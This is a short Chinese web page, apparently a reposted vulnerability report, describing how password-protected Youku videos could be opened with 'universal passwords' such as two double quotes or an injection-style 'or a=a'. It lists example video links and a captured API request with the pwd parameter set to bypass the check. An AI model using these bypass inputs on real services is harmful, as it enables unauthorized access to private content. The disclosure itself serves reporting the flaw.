php点点通
,欢迎大家一起探讨php教程!
Loading
您所在的位置:首页 > web前端 > 正文

优酷加密视频存在多个万能密码可绕过限制

作者: 来源: 日期:2016-10-21 15:11:21 人气:168 加入收藏 评论:0 标签:

优酷加密的视频,有多个万能密码

详细说明:

只要在密码框输入两个英文的双引号。例如: "" 按确定键即可播放所有的加密视频。

管理补充:

1
""   \   { }  <> %% or a=a

等多种字符可绕过视频密码

漏洞证明:

http://v.youku.com/v_show/id_XMTMzMTI2OTUzNg==.html

http://v.youku.com/v_show/id_XMTM0NTcwODg1Ng==.html

http://v.youku.com/v_show/id_XMTM0NTM2NTk3Mg==.html

http://v.youku.com/v_show/id_XMTM0NTM2NTg4MA==.html

修复方案:

有一个地方抓包是http://play.youku.com/play/get.json?vid=XMTM0NTM2NTg4MA==&ct=10&ran=437

手动填写pwd http://play.youku.com/play/get.json?vid=XMTM0NTM2NTg4MA==&ct=10&pwd=%22%22&ran=437

即可获得一个值stream_fileid 这个值是用来算ep的。

这些值就不讲了,关键的地方就是pwd可以用""万能密码.

    本文网址:http://www.phpddt.com/2016category/dhtml/39.html
    读完这篇文章后,您心情如何?
    • 0
    • 0
    • 0
    • 0
    • 0
    • 0
    • 0
    • 0
    更多>>网友评论
    发表评论